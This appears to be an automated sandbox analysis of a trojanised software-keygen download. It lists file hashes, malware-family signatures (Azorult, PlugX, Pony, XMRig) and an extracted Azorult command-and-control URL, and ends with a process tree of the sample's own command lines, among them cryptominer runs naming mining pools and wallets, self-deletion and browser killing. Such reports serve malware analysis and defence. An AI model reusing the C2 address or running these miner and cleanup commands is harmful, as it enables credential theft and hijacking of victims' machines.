Overview

overview

10

Static

static

ﱞﱞﱞ�...ﱞﱞ

windows10_x64

10

ﱞﱞﱞ�...ฺฺ

windows10_x64

10

ﱞﱞﱞ�...ﱞﱞ

windows10_x64

10

ﱞﱞﱞ�...ﱞﱞ

windows10_x64

10

Resubmissions

06-04-2021 13:50

210406-gc51ndzsc2 10

26-03-2021 23:40

210326-d1ybrjhevx 10

13-03-2021 17:16

210313-8s7b52z63e 10

05-03-2021 14:52

210305-34k3zj54f2 10

01-03-2021 13:17

210301-naamxpgf4e 10

28-02-2021 20:46

210228-6q3b959xae 10

28-02-2021 20:15

210228-mbr268za12 10

28-02-2021 18:32

210228-h944b5cpxa 10

28-02-2021 15:10

210228-hnwwpyjy7j 10

Analysis

  • max time kernel
    58s
  • max time network
    53s
  • platform
    windows10_x64
  • resource
    win10v20201028
  • submitted
    26-03-2021 23:40

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    [CRACKHEAP.NET]PW12345Easeus_Data_Recovery_Wizard_8_keygen.exe

  • Size

    9.2MB

  • MD5

    b806267b5f3b7760df56396b1cf05e6d

  • SHA1

    5166d4c1d3e476281d9e991eababc3e4aa9ec5ad

  • SHA256

    f95d12a0dbd8199d16f48d8e4cbe69a8d4ec16c534efb36e52a662664e1c1783

  • SHA512

    30e393bb3898edc8ab5fb04e62ce421ddf3903075f59e3880408b300f46bb74a85088336d6e1203b2101152cebeef4c1730290b41ca77604ecb722c8f627328b

Score
10/10
azorultplugxponyxmrigbootkitdiscoveryevasioninfostealermacrominerpersistenceratspywarestealertrojanupxxlm

Malware Config

Extracted

Family

azorult

C2

http://kvaka.li/1210776429.php

Signatures

  • Azorult

    An information stealer that was first discovered in 2016, targeting browsing history and passwords.

    trojaninfostealerazorult
  • PlugX

    PlugX is a RAT (Remote Access Trojan) that has been around since 2008.

    trojanplugx
  • Pony,Fareit

    Pony is a Remote Access Trojan application that steals information.

    ratspywarestealerpony
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

    minerxmrig
  • Nirsoft 4 IoCs
  • XMRig Miner Payload 4 IoCs
    miner
  • Blocklisted process makes network request 1 IoCs
  • Executes dropped EXE 21 IoCs
  • Suspicious Office macro 1 IoCs

    Office document equipped with 4.0 macros.

    macroxlm
  • UPX packed file 6 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

    upx
  • Loads dropped DLL 1 IoCs
  • Reads data files stored by FTP clients 2 TTPs

    Tries to access configuration files associated with programs like FileZilla.

    spywarestealer
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
    spyware
  • Adds Run key to start application 2 TTPs 3 IoCs
    persistence
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • Checks whether UAC is enabled 1 TTPs 4 IoCs
    evasiontrojan
  • Enumerates connected drives 3 TTPs 48 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Writes to the Master Boot Record (MBR) 1 TTPs 3 IoCs

    Bootkits write to the MBR to gain persistence at a level below the operating system.

    bootkitpersistence
  • Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
  • Suspicious use of SetThreadContext 5 IoCs
  • Drops file in Program Files directory 3 IoCs
  • Drops file in Windows directory 8 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Checks SCSI registry key(s) 3 TTPs 64 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Kills process with taskkill 2 IoCs
    evasion
  • Modifies data under HKEY_USERS 3 IoCs
  • Modifies system certificate store 2 TTPs 4 IoCs
    evasionspywaretrojan
  • Runs ping.exe 1 TTPs 5 IoCs
  • Suspicious behavior: EnumeratesProcesses 18 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of SetWindowsHookEx 8 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\[CRACKHEAP.NET]PW12345Easeus_Data_Recovery_Wizard_8_keygen.exe
    "C:\Users\Admin\AppData\Local\Temp\[CRACKHEAP.NET]PW12345Easeus_Data_Recovery_Wizard_8_keygen.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4776
    • C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen.bat" "
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3236
      • C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-pr.exe
        keygen-pr.exe -p83fsase3Ge
        3⤵
        • Executes dropped EXE
        • Suspicious use of WriteProcessMemory
        PID:4336
        • C:\Users\Admin\AppData\Local\Temp\RarSFX1\key.exe
          "C:\Users\Admin\AppData\Local\Temp\RarSFX1\key.exe"
          4⤵
          • Executes dropped EXE
          • Suspicious use of SetThreadContext
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of WriteProcessMemory
          PID:4528
          • C:\Users\Admin\AppData\Local\Temp\RarSFX1\key.exe
            C:\Users\Admin\AppData\Local\Temp\RarSFX1\key.exe -txt -scanlocal -file:potato.dat
            5⤵
            • Executes dropped EXE
            PID:4568
      • C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-1.exe
        keygen-step-1.exe
        3⤵
        • Executes dropped EXE
        PID:3300
      • C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-3.exe
        keygen-step-3.exe
        3⤵
        • Executes dropped EXE
        • Suspicious use of WriteProcessMemory
        PID:636
        • C:\Windows\SysWOW64\cmd.exe
          cmd.exe /C ping 1.1.1.1 -n 1 -w 3000 > Nul & Del /f /q "C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-3.exe"
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:4612
          • C:\Windows\SysWOW64\PING.EXE
            ping 1.1.1.1 -n 1 -w 3000
            5⤵
            • Runs ping.exe
            PID:2432
      • C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-4.exe
        keygen-step-4.exe
        3⤵
        • Executes dropped EXE
        • Suspicious use of WriteProcessMemory
        PID:908
        • C:\Users\Admin\AppData\Local\Temp\RarSFX2\Setup.exe
          "C:\Users\Admin\AppData\Local\Temp\RarSFX2\Setup.exe"
          4⤵
          • Executes dropped EXE
          • Checks whether UAC is enabled
          • Writes to the Master Boot Record (MBR)
          • Suspicious use of NtSetInformationThreadHideFromDebugger
          • Modifies system certificate store
          • Suspicious use of SetWindowsHookEx
          • Suspicious use of WriteProcessMemory
          PID:4540
          • C:\Windows\SysWOW64\msiexec.exe
            msiexec.exe /i "C:\Users\Admin\AppData\Local\Temp\gdiview.msi"
            5⤵
            • Enumerates connected drives
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of FindShellTrayWindow
            PID:184
          • C:\Users\Admin\AppData\Local\Temp\26FF190E7AE0F7C7.exe
            C:\Users\Admin\AppData\Local\Temp\26FF190E7AE0F7C7.exe 0011 installp1
            5⤵
            • Executes dropped EXE
            • Checks whether UAC is enabled
            • Writes to the Master Boot Record (MBR)
            • Suspicious use of SetThreadContext
            • Checks SCSI registry key(s)
            • Suspicious use of SetWindowsHookEx
            PID:4468
            • C:\Program Files\Mozilla Firefox\firefox.exe
              "C:\Program Files\Mozilla Firefox\firefox.exe"
              6⤵
              • Suspicious use of SetWindowsHookEx
              PID:1892
            • C:\Users\Admin\AppData\Roaming\1616802265244.exe
              "C:\Users\Admin\AppData\Roaming\1616802265244.exe" /sjson "C:\Users\Admin\AppData\Roaming\1616802265244.txt"
              6⤵
              • Executes dropped EXE
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of SetWindowsHookEx
              PID:4596
            • C:\Program Files\Mozilla Firefox\firefox.exe
              "C:\Program Files\Mozilla Firefox\firefox.exe"
              6⤵
                PID:1776
              • C:\Users\Admin\AppData\Roaming\1616802267259.exe
                "C:\Users\Admin\AppData\Roaming\1616802267259.exe" /sjson "C:\Users\Admin\AppData\Roaming\1616802267259.txt"
                6⤵
                • Executes dropped EXE
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of SetWindowsHookEx
                PID:2716
              • C:\Users\Admin\AppData\Local\Temp\download\ThunderFW.exe
                C:\Users\Admin\AppData\Local\Temp\download\ThunderFW.exe ThunderFW "C:\Users\Admin\AppData\Local\Temp\download\MiniThunderPlatform.exe"
                6⤵
                • Executes dropped EXE
                • Suspicious use of SetWindowsHookEx
                PID:4480
              • C:\Windows\SysWOW64\cmd.exe
                cmd /c ping 127.0.0.1 -n 3 & del "C:\Users\Admin\AppData\Local\Temp\26FF190E7AE0F7C7.exe"
                6⤵
                  PID:904
                  • C:\Windows\SysWOW64\PING.EXE
                    ping 127.0.0.1 -n 3
                    7⤵
                    • Runs ping.exe
                    PID:4452
              • C:\Users\Admin\AppData\Local\Temp\26FF190E7AE0F7C7.exe
                C:\Users\Admin\AppData\Local\Temp\26FF190E7AE0F7C7.exe 200 installp1
                5⤵
                • Executes dropped EXE
                • Checks whether UAC is enabled
                • Writes to the Master Boot Record (MBR)
                • Checks SCSI registry key(s)
                • Suspicious use of SetWindowsHookEx
                PID:1492
                • C:\Windows\SysWOW64\cmd.exe
                  cmd.exe /c taskkill /f /im chrome.exe
                  6⤵
                    PID:4048
                    • C:\Windows\SysWOW64\taskkill.exe
                      taskkill /f /im chrome.exe
                      7⤵
                      • Kills process with taskkill
                      PID:4020
                  • C:\Windows\SysWOW64\cmd.exe
                    cmd /c ping 127.0.0.1 -n 3 & del "C:\Users\Admin\AppData\Local\Temp\26FF190E7AE0F7C7.exe"
                    6⤵
                      PID:2896
                      • C:\Windows\SysWOW64\PING.EXE
                        ping 127.0.0.1 -n 3
                        7⤵
                        • Runs ping.exe
                        PID:2068
                  • C:\Windows\SysWOW64\cmd.exe
                    cmd /c ping 127.0.0.1 -n 3 & del "C:\Users\Admin\AppData\Local\Temp\RarSFX2\Setup.exe"
                    5⤵
                    • Suspicious use of WriteProcessMemory
                    PID:5076
                    • C:\Windows\SysWOW64\PING.EXE
                      ping 127.0.0.1 -n 3
                      6⤵
                      • Runs ping.exe
                      PID:4040
                • C:\Users\Admin\AppData\Local\Temp\RarSFX2\Install.exe
                  "C:\Users\Admin\AppData\Local\Temp\RarSFX2\Install.exe"
                  4⤵
                  • Executes dropped EXE
                  PID:3952
                • C:\Users\Admin\AppData\Local\Temp\RarSFX2\file.exe
                  "C:\Users\Admin\AppData\Local\Temp\RarSFX2\file.exe"
                  4⤵
                  • Executes dropped EXE
                  • Modifies data under HKEY_USERS
                  • Modifies system certificate store
                  • Suspicious behavior: EnumeratesProcesses
                  PID:1112
                  • C:\Users\Admin\AppData\Roaming\932D.tmp.exe
                    "C:\Users\Admin\AppData\Roaming\932D.tmp.exe"
                    5⤵
                    • Executes dropped EXE
                    • Adds Run key to start application
                    • Suspicious use of SetThreadContext
                    PID:808
                    • C:\Windows\system32\msiexec.exe
                      -P stratum1+ssl://0xb7633a80145Ec9ce2b8b5F80AB36C783064C2E10.work@eu-eth.hiveon.net:24443 -R --response-timeout 30 --farm-retries 99999
                      6⤵
                        PID:3052
                      • C:\Windows\system32\msiexec.exe
                        -o pool.supportxmr.com:8080 -u 47wDrszce6VbnMB4zhhEA1Gr3EzwHx2eS6QzC5sFoq8iGdMjnzX8bnEjBdQHsAuW8C1SNgxyGa4DQTVnQ9jfhRod73np5P8 --cpu-max-threads-hint 50 -r 9999
                        6⤵
                        • Blocklisted process makes network request
                        PID:4684
                    • C:\Windows\SysWOW64\cmd.exe
                      "C:\Windows\system32\cmd.exe" /c ping 127.0.0.1 && del "C:\Users\Admin\AppData\Local\Temp\RarSFX2\file.exe"
                      5⤵
                        PID:720
                        • C:\Windows\SysWOW64\PING.EXE
                          ping 127.0.0.1
                          6⤵
                          • Runs ping.exe
                          PID:1556
                    • C:\Users\Admin\AppData\Local\Temp\RarSFX2\md2_2efs.exe
                      "C:\Users\Admin\AppData\Local\Temp\RarSFX2\md2_2efs.exe"
                      4⤵
                      • Executes dropped EXE
                      • Checks whether UAC is enabled
                      PID:1052
                    • C:\Users\Admin\AppData\Local\Temp\RarSFX2\BTRSetp.exe
                      "C:\Users\Admin\AppData\Local\Temp\RarSFX2\BTRSetp.exe"
                      4⤵
                      • Executes dropped EXE
                      PID:3876
                    • C:\Users\Admin\AppData\Local\Temp\RarSFX2\askinstall20.exe
                      "C:\Users\Admin\AppData\Local\Temp\RarSFX2\askinstall20.exe"
                      4⤵
                      • Executes dropped EXE
                      PID:4084
                      • C:\Windows\SysWOW64\cmd.exe
                        cmd.exe /c taskkill /f /im chrome.exe
                        5⤵
                          PID:4244
                          • C:\Windows\SysWOW64\taskkill.exe
                            taskkill /f /im chrome.exe
                            6⤵
                            • Kills process with taskkill
                            PID:4432
                      • C:\Users\Admin\AppData\Local\Temp\RarSFX2\gcttt.exe
                        "C:\Users\Admin\AppData\Local\Temp\RarSFX2\gcttt.exe"
                        4⤵
                        • Executes dropped EXE
                        • Adds Run key to start application
                        PID:4196
                        • C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
                          C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                          5⤵
                          • Executes dropped EXE
                          PID:4632
                        • C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
                          C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                          5⤵
                          • Executes dropped EXE
                          • Suspicious behavior: EnumeratesProcesses
                          PID:612
                • C:\Windows\system32\msiexec.exe
                  C:\Windows\system32\msiexec.exe /V
                  1⤵
                  • Enumerates connected drives
                  • Drops file in Program Files directory
                  • Drops file in Windows directory
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of AdjustPrivilegeToken
                  • Suspicious use of WriteProcessMemory
                  PID:2256
                  • C:\Windows\syswow64\MsiExec.exe
                    C:\Windows\syswow64\MsiExec.exe -Embedding 502388496812044F1C534BF0D564E0A9 C
                    2⤵
                    • Loads dropped DLL
                    PID:1468
                  • C:\Windows\system32\srtasks.exe
                    C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
                    2⤵
                    • Suspicious use of SetWindowsHookEx
                    PID:1776
                • C:\Windows\system32\vssvc.exe
                  C:\Windows\system32\vssvc.exe
                  1⤵
                    PID:4260
                  • \??\c:\windows\system32\svchost.exe
                    c:\windows\system32\svchost.exe -k netsvcs -s DsmSvc
                    1⤵
                    • Checks SCSI registry key(s)
                    • Modifies data under HKEY_USERS
                    PID:1596

                  Network

                  MITRE ATT&CK Enterprise v6

                  Replay Monitor

                  Loading Replay Monitor...

                  Downloads

                  • memory/1112-65-0x0000000000670000-0x000000000067D000-memory.dmp

                    Filesize

                    52KB

                    Download

                  • memory/1112-81-0x0000000003480000-0x00000000034C4000-memory.dmp

                    Filesize

                    272KB

                    Download

                  • memory/1492-43-0x00000000724A0000-0x0000000072533000-memory.dmp

                    Filesize

                    588KB

                    Download

                  • memory/1492-64-0x0000000002D10000-0x00000000031BF000-memory.dmp

                    Filesize

                    4.7MB

                    Download

                  • memory/1776-98-0x000001993F750000-0x000001993F751000-memory.dmp

                    Filesize

                    4KB

                    Download

                  • memory/1776-88-0x00007FFF5C980000-0x00007FFF5C9FE000-memory.dmp

                    Filesize

                    504KB

                    Download

                  • memory/1892-73-0x0000024E1C280000-0x0000024E1C281000-memory.dmp

                    Filesize

                    4KB

                    Download

                  • memory/1892-70-0x0000000010000000-0x0000000010057000-memory.dmp

                    Filesize

                    348KB

                    Download

                  • memory/1892-69-0x00007FFF5C980000-0x00007FFF5C9FE000-memory.dmp

                    Filesize

                    504KB

                    Download

                  • memory/2716-93-0x00000000724A0000-0x0000000072533000-memory.dmp

                    Filesize

                    588KB

                    Download

                  • memory/3052-97-0x0000000140000000-0x0000000140383000-memory.dmp

                    Filesize

                    3.5MB

                    Download

                  • memory/3052-85-0x0000000140000000-0x0000000140383000-memory.dmp

                    Filesize

                    3.5MB

                    Download

                  • memory/3876-117-0x00000000007B0000-0x00000000007B1000-memory.dmp

                    Filesize

                    4KB

                    Download

                  • memory/3876-116-0x0000000000660000-0x0000000000693000-memory.dmp

                    Filesize

                    204KB

                    Download

                  • memory/3876-115-0x0000000000650000-0x0000000000651000-memory.dmp

                    Filesize

                    4KB

                    Download

                  • memory/3876-112-0x00007FFF43C20000-0x00007FFF4460C000-memory.dmp

                    Filesize

                    9.9MB

                    Download

                  • memory/3876-121-0x000000001ABA0000-0x000000001ABA2000-memory.dmp

                    Filesize

                    8KB

                    Download

                  • memory/3876-113-0x0000000000030000-0x0000000000031000-memory.dmp

                    Filesize

                    4KB

                    Download

                  • memory/3952-55-0x000000001C0C0000-0x000000001C0C2000-memory.dmp

                    Filesize

                    8KB

                    Download

                  • memory/3952-50-0x00007FFF44AF0000-0x00007FFF454DC000-memory.dmp

                    Filesize

                    9.9MB

                    Download

                  • memory/3952-52-0x0000000000C70000-0x0000000000C71000-memory.dmp

                    Filesize

                    4KB

                    Download

                  • memory/4468-41-0x00000000724A0000-0x0000000072533000-memory.dmp

                    Filesize

                    588KB

                    Download

                  • memory/4468-66-0x0000000002E40000-0x00000000032EF000-memory.dmp

                    Filesize

                    4.7MB

                    Download

                  • memory/4480-125-0x00000000724A0000-0x0000000072533000-memory.dmp

                    Filesize

                    588KB

                    Download

                  • memory/4528-62-0x0000000000860000-0x0000000000861000-memory.dmp

                    Filesize

                    4KB

                    Download

                  • memory/4528-63-0x0000000000850000-0x000000000086B000-memory.dmp

                    Filesize

                    108KB

                    Download

                  • memory/4528-30-0x00000000026F0000-0x000000000288C000-memory.dmp

                    Filesize

                    1.6MB

                    Download

                  • memory/4528-54-0x0000000002EE0000-0x0000000002FCF000-memory.dmp

                    Filesize

                    956KB

                    Download

                  • memory/4540-25-0x00000000724A0000-0x0000000072533000-memory.dmp

                    Filesize

                    588KB

                    Download

                  • memory/4540-33-0x0000000010000000-0x000000001033E000-memory.dmp

                    Filesize

                    3.2MB

                    Download

                  • memory/4568-26-0x0000000000400000-0x0000000000983000-memory.dmp

                    Filesize

                    5.5MB

                    Download

                  • memory/4568-32-0x0000000000400000-0x0000000000983000-memory.dmp

                    Filesize

                    5.5MB

                    Download

                  • memory/4596-80-0x00000000724A0000-0x0000000072533000-memory.dmp

                    Filesize

                    588KB

                    Download

                  • memory/4684-94-0x0000000140000000-0x000000014070A000-memory.dmp

                    Filesize

                    7.0MB

                    Download

                  • memory/4684-102-0x000001F1201F0000-0x000001F120210000-memory.dmp

                    Filesize

                    128KB

                    Download

                  • memory/4684-101-0x0000000140000000-0x000000014070A000-memory.dmp

                    Filesize

                    7.0MB

                    Download

                  • memory/4684-100-0x0000000140000000-0x000000014070A000-memory.dmp

                    Filesize

                    7.0MB

                    Download

                  • memory/4684-96-0x000001F11FF10000-0x000001F11FF24000-memory.dmp

                    Filesize

                    80KB

                    Download